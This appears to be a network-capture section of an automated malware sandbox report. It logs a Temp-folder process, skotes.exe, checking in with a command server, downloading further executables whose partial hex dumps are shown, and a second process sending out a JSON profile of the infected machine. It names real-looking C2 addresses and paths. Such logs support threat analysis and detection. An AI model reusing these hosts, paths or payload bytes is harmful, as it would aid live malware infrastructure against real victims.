Dec 20, 2024 21:13:11.114116907 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 20 Dec 2024 20:13:10 GMT Content-Type: application/octet-stream Content-Length: 4438776 Last-Modified: Tue, 10 Dec 2024 00:01:52 GMT Connection: keep-alive ETag: "675784f0-43baf8" Accept-Ranges: bytes Data Raw: 4d 5a 60 00 01 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 52 65 71 75 69 72 65 20 57 69 6e 64 6f 77 73 0d 0a 24 50 45 00 00 4c 01 04 00 ce 3f c3 4f 00 00 00 00 00 00 00 00 e0 00 03 01 0b 01 08 00 00 90 01 00 00 96 00 00 00 00 00 00 5f 94 01 00 00 10 00 00 00 a0 01 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 80 02 00 00 02 00 00 e7 a4 44 00 02 00 00 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 84 c9 01 00 c8 00 00 00 00 30 02 00 10 4f 00 00 00 00 00 00 00 00 00 00 10 7b 43 00 e8 3f 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 a0 01 00 6c 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ`@`!L!Require Windows$PEL?O_@D0O{C?l.text `.rdata;<@@.dataM@.rsrcO0P@@U`AS3;VWtf9bAt`APPPYnj'@uv=A6PP9^]v8^3hAPPPxAEE;FrP~Y6jtAt$DV%sAF8^jqA39`At@9D$tt$Ph5XAA3D$`\|$u@3pAt$D$t$`A/@t$PQ%`A3T$L$fAABBfuL$3f9t@f<Aut$TAL$%S\$VC;^tLW3
Dec 20, 2024 21:13:11.114136934 CET	224	IN	Data Raw: c9 6a 02 5a 8b c3 f7 e2 0f 90 c1 f7 d9 0b c8 51 e8 94 80 01 00 8b f8 33 c0 39 46 08 59 7e 1d 39 46 04 7e 10 8b 0e 66 8b 0c 41 66 89 0c 47 40 3b 46 04 7c f0 ff 36 e8 68 80 01 00 59 8b 46 04 89 3e 66 83 24 47 00 89 5e 08 5f 5e 5b c2 04 00 56 8b f1 Data Ascii: jZQ39FY~9F~fAfG@;F\|6hYF>f$G^_^[Vv\IY^oUQQAuVjjEP5A\|At>E;Ew6rE;Es,jPYYtlAj@ AEPjh5XAA3
Dec 20, 2024 21:13:11.114152908 CET	1236	IN	Data Raw: c9 c2 0c 00 8b 44 24 08 85 c0 74 0c a3 6c e9 41 00 b8 05 40 00 80 eb 3a 56 8b 74 24 08 57 8d 7e 24 83 3f 00 74 0f 8b 4e 20 8d 46 34 50 83 c1 08 e8 c0 11 01 00 8b cf e8 da 29 01 00 83 7e 1c 00 74 0c ff 76 40 ff 76 28 ff 15 80 a1 41 00 5f 33 c0 5e Data Ascii: D$tlA@:Vt$W~$?tN F4P)~tv@v(A_3^UVuA}juuv(j}iuv(jjuVP^]=AtjA=XAtL$AVQ3=lAQjjPR=Atj5XAA^L$
Dec 20, 2024 21:13:11.114360094 CET	1236	IN	Data Raw: 8b 76 0c 85 f6 59 74 06 8b 06 56 ff 50 08 5e c3 83 6c 24 04 04 e9 76 ff ff ff 56 6a 01 8b f1 e8 d3 fc ff ff 8b 46 04 8b 0e 66 8b 54 24 08 66 89 14 41 ff 46 04 8b 46 04 8b 0e 66 83 24 41 00 8b c6 5e c2 04 00 55 8b ec ff 75 0c 8b 4d 08 e8 03 fc ff Data Ascii: vYtVP^l$vVjFfT$fAFFf$A^UuMuME]Vt$NFuhVrzY3^Uh$AuYYtEMPQ3hAu{YYu@]L$IAujP3VNXAD
Dec 20, 2024 21:13:11.114377022 CET	1236	IN	Data Raw: 8d 55 d4 0f 95 c0 52 6a 0c ff 75 0c 89 46 3c 8b 46 0c 8b 08 50 ff 51 18 3b c7 89 45 0c 74 19 8d 4d d4 e8 fe 08 01 00 ff 75 f0 e8 ec 75 01 00 8b 7d 0c 59 e9 cf fe ff ff 0f b7 45 d4 3b c7 74 1a 83 f8 40 74 07 6a 66 e9 71 ff ff ff 8b 45 dc 89 46 34 Data Ascii: URjuF<FPQ;EtMuu}YE;t@tjfqEF4EF8EPAF4PEPA9~<t3Y>jh/N4QPYY%jlu;YtxXAH3PMF (F jQHxx,
Dec 20, 2024 21:13:11.114603043 CET	672	IN	Data Raw: 64 a1 41 00 eb 7a 83 3d 90 e9 41 00 00 75 6f 8b 35 68 a1 41 00 68 d0 a5 41 00 bb c4 a5 41 00 53 c7 05 90 e9 41 00 01 00 00 00 ff d6 8b 3d 6c a1 41 00 50 ff d7 6a 00 89 45 fc 0f b7 05 80 e9 41 00 68 09 04 00 00 6a 00 50 8d 45 bc 68 a8 a5 41 00 50 Data Ascii: dAz=Auo5hAhAASA=lAPjEAhjPEhAPA}uhASPEtjEPjU3_^[U,SVW3WAjXPE0A}j`X5TAj`jdPv\|=j[j=j[j_EPju@AWSuW
Dec 20, 2024 21:13:11.114620924 CET	1236	IN	Data Raw: 50 ff 51 0c 39 75 fc 74 3f ff 75 fc e8 d4 fd ff ff 59 8d 4d d8 51 6a 18 50 89 45 fc ff 15 40 a0 41 00 6a 06 ff 75 e0 ff 75 dc 56 56 56 ff 75 08 ff 15 84 a2 41 00 ff 75 fc 56 68 72 01 00 00 ff 75 08 ff 15 b8 a2 41 00 8b 45 f0 8b 08 50 ff 51 08 33 Data Ascii: PQ9ut?uYMQjPE@AjuuVVVuAuVhruAEPQ3@WPA3_^[f=AuD<AfAAfft@Af=uDAA;ufAAUSV339AtAM9tFA9u9
Dec 20, 2024 21:13:11.114752054 CET	1236	IN	Data Raw: 5b c2 04 00 8b 01 8b 51 04 8b 4c 24 08 2b d1 8d 54 12 02 8d 0c 48 52 51 8b 4c 24 0c 8d 04 48 50 ff 15 3c a2 41 00 83 c4 0c c2 08 00 53 56 57 eb 3b 8b 02 8b 39 8a 1c 07 8a c3 e8 db f5 ff ff 84 c0 75 27 80 fb 3b 75 2d 3b fe 7d 12 8b 01 8b 32 80 3c Data Ascii: [QL$+THRQL$HP<ASVW;9u';u-;}2<0t@;B\|2_^[Ar91\|S\$VWu33\|$Gt$P$AtF;w\|3_^[t3GVt$W39~~(Ft$P$AujWPOG;~
Dec 20, 2024 21:13:11.114768982 CET	1236	IN	Data Raw: 37 00 89 75 f4 e8 ec fd ff ff 57 e8 ef 64 01 00 59 5f 8b 45 08 5e 5b c9 c2 0c 00 53 56 8b 74 24 0c 57 8b f9 8b 47 04 39 06 7e 02 89 06 8b 5c 24 14 53 e8 d0 e6 ff ff 8b 06 50 03 c3 50 8b cf e8 ec fa ff ff 5f 5e 5b c2 08 00 8b 44 24 08 ff 30 8b 44 Data Ascii: 7uWdY_E^[SVt$WG9~\$SPP_^[D$0D$0YY@W\|$D$xt.SVpFPVPVSjt$,8Af$A^G[_USVuE39Xt2WxS?ESAPQNPWuSuA
Dec 20, 2024 21:13:11.114783049 CET	672	IN	Data Raw: 4d f4 e8 72 f8 ff ff f6 85 a4 fd ff ff 10 8b 7d f4 74 35 68 88 a6 41 00 8d 85 d0 fd ff ff 50 ff 15 24 a1 41 00 85 c0 74 33 68 80 a6 41 00 8d 85 d0 fd ff ff 50 ff 15 24 a1 41 00 85 c0 74 1d 57 e8 58 ff ff ff 59 eb 10 6a 00 57 ff d6 85 c0 74 4b 57 Data Ascii: Mr}t5hAP$At3hAP$AtWXYjWtKWAt@PSAqSAjutuAtW_3@W_3Y_^[=lAt3@Vt$VAu3@^ujVAtVA^3^VY^
Dec 20, 2024 21:13:11.236680984 CET	1236	IN	Data Raw: ff 75 d0 ff 75 cc 68 04 08 00 50 68 84 a5 41 00 68 94 a6 41 00 53 ff 15 a0 a2 41 00 8b f8 3b fb 0f 84 7b ff ff ff 56 ff 15 b4 a2 41 00 8b 35 b8 a2 41 00 53 6a 22 68 59 04 00 00 57 ff d6 6a 0f ff 15 cc a2 41 00 50 53 68 43 04 00 00 57 ff d6 b8 e9 Data Ascii: uuhPhAhASA;{VA5ASj"hYWjAPShCWPEEPEP]uEPhaWu]u]YYUQSVW=(AjEPuuTCPECSuPu>Wf$GYF_^[Vj

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.6	49879	185.215.113.43	80	5236	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2024 21:13:21.040654898 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 31 38 38 32 31 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1018821001&unit=246122658369
Dec 20, 2024 21:13:22.231750011 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 20 Dec 2024 20:13:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.6	49887	31.41.244.11	80	5236	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2024 21:13:22.354630947 CET	61	OUT	GET /files/martin/random.exe HTTP/1.1 Host: 31.41.244.11
Dec 20, 2024 21:13:23.681158066 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 20 Dec 2024 20:13:23 GMT Content-Type: application/octet-stream Content-Length: 4448256 Last-Modified: Fri, 20 Dec 2024 20:03:12 GMT Connection: keep-alive ETag: "6765cd80-43e000" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 09 98 63 67 00 00 00 00 00 00 00 00 e0 00 0e 03 0b 01 02 28 00 56 48 00 00 fc 76 00 00 32 00 00 00 20 c8 00 00 10 00 00 00 70 48 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 50 c8 00 00 04 00 00 ca 88 44 00 02 00 40 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 5f 70 74 00 73 00 00 00 00 60 74 00 ac 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 30 04 c8 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 03 c8 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELcg(VHv2 pH@PD@ _pts`t0 PtL(@.rsrc`t\(@.idata pt^(@ 08t`(@hdinlnsl`Vb(@luxyrgrlC@.taggant0 "C@
Dec 20, 2024 21:13:23.681205988 CET	224	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 20, 2024 21:13:23.681220055 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 20, 2024 21:13:23.681308985 CET	224	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 20, 2024 21:13:23.681324005 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 20, 2024 21:13:23.681340933 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: `*`x~A ;=`P0}Px
Dec 20, 2024 21:13:23.681433916 CET	448	IN	Data Raw: 78 87 d6 a3 ca 56 f8 64 82 c3 a0 16 a4 60 ae f1 13 ff 66 13 88 8e ac 99 c7 a3 08 b2 7a 46 c5 ad 98 aa c8 98 4b a6 a1 42 54 11 e7 67 d7 f0 53 4c f1 fb 5d 48 63 2f 95 f4 0d cb 45 6d dc 1d ea b9 5c 5e 48 ed 1c b0 c6 25 62 2d 5a 9f 64 93 f6 c2 73 ec Data Ascii: xVd`fzFKBTgSL]Hc/Em\^H%b-ZdsX-%\|J>E_$j90`t7R_Px`)F_NU~0!b,{XJLSI!fk1R%!&7[.d7}"E.fdBf;"
Dec 20, 2024 21:13:23.681559086 CET	1236	IN	Data Raw: af 55 90 70 c1 72 b6 92 ac ce 58 0d 16 e5 a0 81 e8 a4 47 ee 55 22 4f aa f0 9a 4b e3 06 5d ec ae fa c2 f4 0a e9 3a 75 85 ae 58 e5 b0 3e 43 86 bb 66 83 e5 58 9f 5e 28 1f df cb 17 00 03 aa 55 7d 51 52 c8 ab f4 6c 20 a2 32 5c dc b6 26 5b 45 58 8e 86 Data Ascii: UprXGU"OK]:uX>CfX^(U}QRl 2\&[EX'+/m=VZr>)fI!7-RQbyLz>mo].#mh[m;\|=&Knlq]{$qjWpl E"pkLQ[DV -j\
Dec 20, 2024 21:13:23.681575060 CET	1236	IN	Data Raw: 15 02 cd 55 ef 3f 0d 60 9a 42 d1 58 5c 1c 12 9a 2a aa 4b 32 62 3b 21 ae de 5c 22 bf 5d 91 97 68 7f dc 4c 85 53 b0 67 a1 77 fe d1 7f ce 44 e5 69 68 a9 ad 68 35 43 0d 05 39 81 6d 5a 80 d8 3b b2 ea 45 84 fd 3a 68 d1 32 b7 39 e0 44 db f3 54 a8 d7 3f Data Ascii: U?`BX\*K2b;!\"]hLSgwDihh5C9mZ;E:h29DT?bz"a3GGc^9`7Pfz: /SBv!}o#tO>==S('7 G4nBY>q[%6j"$3.()Jzk40Lo'/]0
Dec 20, 2024 21:13:23.681591034 CET	1236	IN	Data Raw: ed 9d d4 c8 a6 05 8a 33 69 8f ab 61 61 02 43 8a b1 86 45 b8 93 e0 a1 cd d1 92 a8 90 f6 8e 54 2d f1 09 7f 76 a5 c3 9c 94 ff eb 17 83 fc c3 cc 32 ab 7e 98 cb b6 da 76 3e de 0b 0a 60 60 92 61 bd bb 96 e8 1c d3 83 a9 b1 63 35 6e f0 10 95 8b 5f 24 ce Data Ascii: 3iaaCET-v2~v>``ac5n_$sx"}`(5u/9b0l(+]#CqJ.T#cR;`&e`RbVT0gOFZZ`e,`I[)@et97T/2t-MV
Dec 20, 2024 21:13:23.801038980 CET	1236	IN	Data Raw: c3 62 8c 46 78 52 69 ae 7d a9 77 a0 1d dd 46 be c7 46 86 8d a1 52 a3 f8 e6 94 9a cb 8e 63 94 b8 5f 37 59 20 8c 02 d5 66 72 5c 58 5f 7d 58 24 ee 58 c4 07 59 be a3 05 94 f2 be b9 a0 d9 fb f6 f6 11 5d b6 2f ba ba 08 c7 6c 6c 58 cf 5f a7 99 b3 0e 0a Data Ascii: bFxRi}wFFRc_7Y fr\X_}X$XY]/llX_}s1G8zTAkFG%8F"<hVsgGc4_Ze/>L<\|XKg?:gK=E6g0jY0H)M$U'_.!TgZu

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.6	49915	185.215.113.43	80	5236	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2024 21:13:33.196024895 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 31 38 38 32 32 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1018822001&unit=246122658369
Dec 20, 2024 21:13:34.543279886 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 20 Dec 2024 20:13:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.6	49920	31.41.244.11	80	5236	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2024 21:13:34.664851904 CET	62	OUT	GET /files/loadman/random.exe HTTP/1.1 Host: 31.41.244.11
Dec 20, 2024 21:13:35.993237972 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 20 Dec 2024 20:13:35 GMT Content-Type: application/octet-stream Content-Length: 1374720 Last-Modified: Thu, 19 Dec 2024 17:14:58 GMT Connection: keep-alive ETag: "67645492-14fa00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 0a 00 e0 68 17 44 00 8c 14 00 e1 14 00 00 e0 00 26 03 0b 01 02 26 00 c8 0b 00 00 f6 14 00 00 04 00 00 80 14 00 00 00 10 00 00 00 e0 0b 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 70 15 00 00 04 00 00 5c 55 1a 00 02 00 40 01 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 50 14 00 08 1c 00 00 00 90 14 00 2c 6c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 15 00 bc 63 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 8e 12 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELhD&&@p\U@ P,lcT.text``.dataH@.rdata@@.eh_framp@@.bss4@.idataP@.CRT8p$@.tls&@.rsrc,ln(@@.reloccd@B
Dec 20, 2024 21:13:35.993263006 CET	224	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c3 eb 0d 90 90 90 90 90 90 90 90 90 90 90 90 90 83 ec 1c 31 c0 66 81 3d 00 Data Ascii: 1f=@MZATATATu<@@PE@tZ@TATu<$ATATQ=8KtH1f$
Dec 20, 2024 21:13:35.993274927 CET	1236	IN	Data Raw: e8 d4 80 0b 00 eb c2 66 90 0f b7 51 18 66 81 fa 0b 01 74 37 66 81 fa 0b 02 75 94 83 b9 84 00 00 00 0e 76 8b 8b 91 f8 00 00 00 31 c0 85 d2 0f 95 c0 e9 79 ff ff ff 8d 76 00 c7 04 24 e0 93 4b 00 e8 64 88 0b 00 31 c0 83 c4 1c c3 83 79 74 0e 0f 86 5a Data Ascii: fQft7fuv1yv$Kd1ytZ1Hf,ATD$@T@T@KD$@TD$D$@T$@T,fL$1qUWVUSQx5ATd1x5HVT9
Dec 20, 2024 21:13:35.993422031 CET	1236	IN	Data Raw: 46 0c 85 c0 74 0e 6a 01 50 ff 76 10 e8 64 e3 00 00 83 c4 0c 5e 5d c3 66 2e 0f 1f 84 00 00 00 00 00 0f 1f 40 00 55 89 e5 8b 45 08 8b 08 85 c9 74 0e 6a 01 51 ff 70 04 e8 39 e3 00 00 83 c4 0c 5d c3 0f 1f 40 00 55 89 e5 53 57 56 50 8b 45 08 80 38 03 Data Ascii: FtjPvd^]f.@UEtjQp9]@USWVPE8u7xwtSFtvPSjjW^_[]EFtvPSjjWufDUSWVPAtjPv^0F,Et1E
Dec 20, 2024 21:13:35.993432999 CET	1236	IN	Data Raw: 8c 24 84 00 00 00 89 54 24 30 89 5c 24 28 c7 44 24 08 01 00 00 00 c7 44 24 0c 00 00 00 00 89 44 24 50 8b 84 24 80 00 00 00 29 c6 89 44 24 4c 8d 43 ff 39 d0 89 44 24 48 8b 84 24 8c 00 00 00 8d 52 ff 89 74 24 58 0f 92 44 24 3b 89 54 24 44 89 44 24 Data Ascii: $T$0\$(D$D$D$P$)D$LC9D$H$Rt$XD$;T$DD$ $D$$DD$\1:D\$\|$`3\$\|$0]SuPw\|$t$t$D$D$D\|$ 5t$49r'\$0D$ D$D91
Dec 20, 2024 21:13:35.993762970 CET	672	IN	Data Raw: e0 3f 09 d0 09 c8 8b 7c 24 04 8b 54 24 24 80 7c 24 2c 00 75 ab eb 2e c1 e1 06 09 f9 8b 7c 24 04 89 c8 80 7c 24 2c 00 75 97 eb 1a c1 e1 0c 09 ca 89 d0 8b 7c 24 04 8b 54 24 24 80 7c 24 2c 00 0f 85 7b ff ff ff b9 01 00 00 00 3d 80 00 00 00 72 19 b9 Data Ascii: ?\|$T$$\|$,u.\|$\|$,u\|$T$$\|$,{=r=r=t9s<}uo9D$,ty<@D$@\|$$t$8\|$)T$)9s+SVD$Pqt$\|$D$f.@D$D
Dec 20, 2024 21:13:35.993792057 CET	1236	IN	Data Raw: 53 57 56 83 ec 24 e8 a2 2a 00 00 8d 45 d0 6a 0c 68 b6 f1 4b 00 6a 1a 68 9c f1 4b 00 50 e8 db ad 00 00 83 c4 14 8b 7d d8 8b 75 d0 8b 5d d4 83 ff 07 77 17 85 ff 74 56 31 d2 0f 1f 40 00 80 3c 13 00 74 17 42 39 d7 75 f5 eb 43 57 53 6a 00 e8 8a be 09 Data Ascii: SWV$*EjhKjhKP}u]wtV1@<tB9uCWSjt3tDu]}UEhKhLKPjj(s}u]}EPSjj$=]h5Rjh3
Dec 20, 2024 21:13:35.993803978 CET	1236	IN	Data Raw: f2 0f 10 45 e0 f2 0f 10 8d 24 fe ff ff f2 0f 10 55 b0 89 85 48 ff ff ff 8b 85 2c fe ff ff f2 0f 11 85 40 ff ff ff f2 0f 11 8d 4c ff ff ff f2 0f 10 8d 40 fe ff ff 89 85 54 ff ff ff 8b 45 b8 f2 0f 11 95 58 ff ff ff 89 85 60 ff ff ff 8b 85 48 fe ff Data Ascii: E$UH,@L@TEX`Hdhlpxjjj@P@P]H@@tjPDLtjPP{XtjP\
Dec 20, 2024 21:13:35.993814945 CET	448	IN	Data Raw: f6 89 87 48 01 00 00 89 8f 4c 01 00 00 8b 4d ec 89 da e8 8e 4f 00 00 eb a8 66 2e 0f 1f 84 00 00 00 00 00 66 90 c1 e8 1c 3b 45 dc 72 17 e9 31 0c 00 00 0f 1f 00 c1 e8 1d 83 c8 08 3b 45 dc 0f 83 18 0c 00 00 8b 8d 2c ff ff ff 8b 1c 81 83 fb 7f 77 33 Data Ascii: HLMOf.f;Er1;E,w3H;@a@P5gMf.@s?@Aos-@?$?AB:
Dec 20, 2024 21:13:35.994240046 CET	1236	IN	Data Raw: 83 c4 0c ff 0f 75 15 ff 4f 04 75 10 6a 08 68 58 01 00 00 57 e8 ac cb 00 00 83 c4 0c 8d b5 00 fe ff ff 6a 0c 68 f0 8f 50 00 6a 30 68 c0 8f 50 00 56 e8 5f a2 00 00 83 c4 14 8d 85 fc fe ff ff 89 b5 40 fe ff ff c7 85 44 fe ff ff 60 21 40 00 c7 85 40 Data Ascii: uOujhXWjhPj0hPV_@D`!@@PDPH@L`!@HL@QPEEjhPjyhPPjh!Phh
Dec 20, 2024 21:13:36.115384102 CET	1236	IN	Data Raw: b0 89 55 dc 89 f9 ff 75 ac ff 75 ec ff b5 e0 fe ff ff e8 aa e7 ff ff 83 c4 0c 8d 85 e4 fe ff ff 89 b5 40 ff ff ff c7 85 44 ff ff ff 60 21 40 00 c7 85 40 fe ff ff 48 92 50 00 c7 85 44 fe ff ff 05 00 00 00 c7 85 50 fe ff ff 00 00 00 00 89 85 48 ff Data Ascii: Uuu@D`!@@HPDPHL`!@PT`!@X\`!@`@d`!@HL@QPEtjPu4tjP8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.6	49932	185.121.15.192	80	5872	C:\Users\user\AppData\Local\Temp\1018822001\5ec1855a88.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2024 21:13:40.150898933 CET	12360	OUT	POST /zldPRFrmVFHTtKntGpOv1734579851 HTTP/1.1 Host: home.fivetk5ht.top Accept: / Content-Type: application/json Content-Length: 499437 Data Raw: 7b 20 22 69 70 22 3a 20 22 38 2e 34 36 2e 31 32 33 2e 31 38 39 22 2c 20 22 63 75 72 72 65 6e 74 5f 74 69 6d 65 22 3a 20 22 31 37 33 34 37 32 35 36 31 36 22 2c 20 22 4e 75 6d 5f 70 72 6f 63 65 73 73 6f 72 22 3a 20 34 2c 20 22 4e 75 6d 5f 72 61 6d 22 3a 20 37 2c 20 22 64 72 69 76 65 72 73 22 3a 20 5b 20 7b 20 22 6e 61 6d 65 22 3a 20 22 43 3a 5c 5c 22 2c 20 22 61 6c 6c 22 3a 20 32 32 33 2e 30 2c 20 22 66 72 65 65 22 3a 20 31 36 38 2e 30 20 7d 20 5d 2c 20 22 4e 75 6d 5f 64 69 73 70 6c 61 79 73 22 3a 20 31 2c 20 22 72 65 73 6f 6c 75 74 69 6f 6e 5f 78 22 3a 20 31 32 38 30 2c 20 22 72 65 73 6f 6c 75 74 69 6f 6e 5f 79 22 3a 20 31 30 32 34 2c 20 22 72 65 63 65 6e 74 5f 66 69 6c 65 73 22 3a 20 33 38 2c 20 22 70 72 6f 63 65 73 73 65 73 22 3a 20 5b 20 7b 20 22 6e 61 6d 65 22 3a 20 22 5b 53 79 73 74 65 6d 20 50 72 6f 63 65 73 73 5d 22 2c 20 22 70 69 64 22 3a 20 30 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 53 79 73 74 65 6d 22 2c 20 22 70 69 64 22 3a 20 34 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 52 65 67 [TRUNCATED] Data Ascii: { "ip": "8.46.123.189", "current_time": "1734725616", "Num_processor": 4, "Num_ram": 7, "drivers": [ { "name": "C:\\", "all": 223.0, "free": 168.0 } ], "Num_displays": 1, "resolution_x": 1280, "resolution_y": 1024, "recent_files": 38, "processes": [ { "name": "[System Process]", "pid": 0 }, { "name": "System", "pid": 4 }, { "name": "Registry", "pid": 92 }, { "name": "smss.exe", "pid": 328 }, { "name": "csrss.exe", "pid": 412 }, { "name": "wininit.exe", "pid": 488 }, { "name": "csrss.exe", "pid": 496 }, { "name": "winlogon.exe", "pid": 560 }, { "name": "services.exe", "pid": 632 }, { "name": "lsass.exe", "pid": 652 }, { "name": "svchost.exe", "pid": 752 }, { "name": "fontdrvhost.exe", "pid": 780 }, { "name": "fontdrvhost.exe", "pid": 788 }, { "name": "svchost.exe", "pid": 868 }, { "name": "svchost.exe", "pid": 928 }, { "name": "dwm.exe", "pid": 996 }, { "name": "svchost.exe", "pid": 436 }, { "name": "svchost.exe", "pid": 376 }, { "name": "svchost.exe", "pid": 60 }, { 